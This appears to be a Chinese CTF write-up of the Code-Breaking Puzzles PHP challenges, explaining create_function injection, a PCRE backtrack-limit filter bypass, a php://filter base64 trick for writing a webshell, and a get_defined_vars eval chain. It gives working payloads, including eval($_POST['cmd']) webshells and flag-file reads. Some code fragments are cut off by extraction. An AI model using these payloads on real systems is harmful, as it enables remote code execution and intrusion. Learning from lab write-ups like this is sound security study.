Code-Breaking Puzzles 学习记录


尼玛一道题做不动,回炉重造,看完师傅们的WP,学习记录。


平台地址

0x01 easy - function

这里直接蒙蔽了,不知道不用字母数字以及下划线的情况下如何调用函数,思路走偏了,其实看到 ^$ 应该想到 fuzz 一下开头和结尾的特殊字符的,正确的解法是在函数前面/ ,/function。P牛在小密圈给出的解释是:

code-breaking puzzles第一题,function,为什么函数前面可以加一个%5c?奇技淫巧 其实简单的不行,php里默认命名空间是 \,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

接下来需要找到某个函数第二个参数可控时可以利用的。函数create_function()非常合适,这里做一下记录create_function()代码注入

string create_function    ( string $args   , string $code   )
string $args 变量部分
string $code 方法代码部分

例如:
create_function('$fname','echo $fname."Zhang"')

function fT($fname) {
    echo $fname."Zhang";
}

有问题的代码


执行函数为:
    #源代码:
        function fT($a) {
          echo "test".$a;
        }

   注入后代码:
        function fT($a) {
          echo "test";}
          phpinfo();/*;//此处为注入代码。
        }

最终 payload 为 http://51.158.75.42:8087/?action=%5ccreate_function&arg=}eval($_POST['cmd']);//

0x02 easy - pcrewaf

 ].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 

这道题真的非常有意思,看完 P 牛的文章 PHP利用PCRE回溯次数限制绕过某些安全限制 真的感觉学到了很多,在此记录。单独抠出来试一试。

].*/is', $data);
}
var_dump(is_php($_POST['data']));
?>
import requests
payload = ""
data = {"data":payload}
print(requests.post(url="http://127.0.0.1/test.php",data=data).text)

payload" 时,返回为 int(1)
payload" 时,返回为 bool(false),成功 bypass。

现在来详细的学一下回溯的问题。在php的pcre扩展中,提供了两个设置项

pcre.backtrack_limit //最大回溯数
pcre.recursion_limit //最大嵌套数

成功 bypassis_php的检测,就是就和设置项backtrack_limit 有关系,首先得搞清楚什么是回朔,举两个例子(贪婪匹配 与 非贪婪匹配):

    源字符串: baaa
    正则表达式:  /.*b.*/

首先.\*取得控制权,因为是贪婪匹配直接匹配到末尾(baaa),但是显示是不对的,后面还有个b没有匹配到,所以开始回溯,向前一位(baa),再和后面的b匹配,仍无法匹配到,继续回溯,向前一位(ba),直到匹配到b,共产生了 3 次回溯。

    源字符串: aaab
    正则表达式:  /.*?b/

首先 .\*\?取得控制权,因为是非贪婪匹配,所以先把控制权给 bb明显是匹配不上的(aaab),所以开始回溯把匹配权给.\*\? , .\*\?匹配一个 a后继续把控制权让给b,此时b仍然匹配不上(aab),继续回溯....... 共产生了 3 次回溯。

默认的backtrack_limit100000,如果 回溯次数如果大于 backtrack_limit 则会匹配失败,停止回溯返回 false,所以如果用 preg_match 对字符串进行匹配,一定要使用 ===全等号来判断返回值。题目最终 payload 如下

import requests

files = {"file":"

0x03 easy - phpmagic

 



    
    
    

    
    

    Domain Detail
    



dig -t A -q

$log_name$output 均可控,但 $output 经过了 htmlspecialchars() 的消毒。这里以前再小密圈里看到过绕过技巧,印象深刻。

谈一谈php://filter的妙用

这里可以通过为协议来进行绕过,$log_name = php://filter/write=convert.base64-decode/resource=shell.php,$domain=base64encode(code)这里还需要注意一下 base64 算法解码时的问题,位数需要为4的整数倍,并且因为我们是插入到中间,所以后面不能有==

当$content被加上了以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是没有了。

最后还有一个 pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true) 验证,只需要再后面加 /. 即可,这样pathinfo() 取不到后缀,而 file_put_contents()写入的时候又会递归删除 /.。综上,最后的 payload 如下:

import requests

headers ={"host":"p"}
data = {"domain":"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg","log":"hp://filter/write=convert.base64-decode/resource=cc.php/."}
r = requests.post(url="http://51.158.75.42:8082/index.php",data=data,headers=headers)
print(r.text)
#flag{8fd9046cde2d53d1ceea8970286fd38c}

0x04 easy - phplimit

/[^\W]+\((?R)?\)/ 这是一个递归匹配,具体参考这里 PHP正则之递归匹配。匹配类似function(function(function())),先看一下 phpinfo() 的信息 http://51.158.75.42:8084/?code=phpinfo(); PHP Version 5.6.38 ,找一下这个版本有没有相应的函数可以利用。可以使用 get_defined_vars() 获取外部传如的变量

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

然后用操作数组元素的几个函数来选择传入的值

  current() - 返回数组中的当前元素的值
  end() - 将内部指针指向数组中的最后一个元素,并输出
  next() - 将内部指针指向数组中的下一个元素,并输出
  prev() - 将内部指针指向数组中的上一个元素,并输出
  reset() - 将内部指针指向数组中的第一个元素,并输出
  each() - 返回当前元素的键名和键值,并将内部指针向前移动

payload : http://51.158.75.42:8084/?code=eval(next(current(get_defined_vars())));&cmd=phpinfo();
http://51.158.75.42:8084/?code=eval(next(current(get_defined_vars())));&cmd=print(file_get_contents(%27/var/www/flag_phpbyp4ss%27));

参考:

Code-Breaking Puzzles做题记录

你可能感兴趣的:(Code-Breaking Puzzles 学习记录)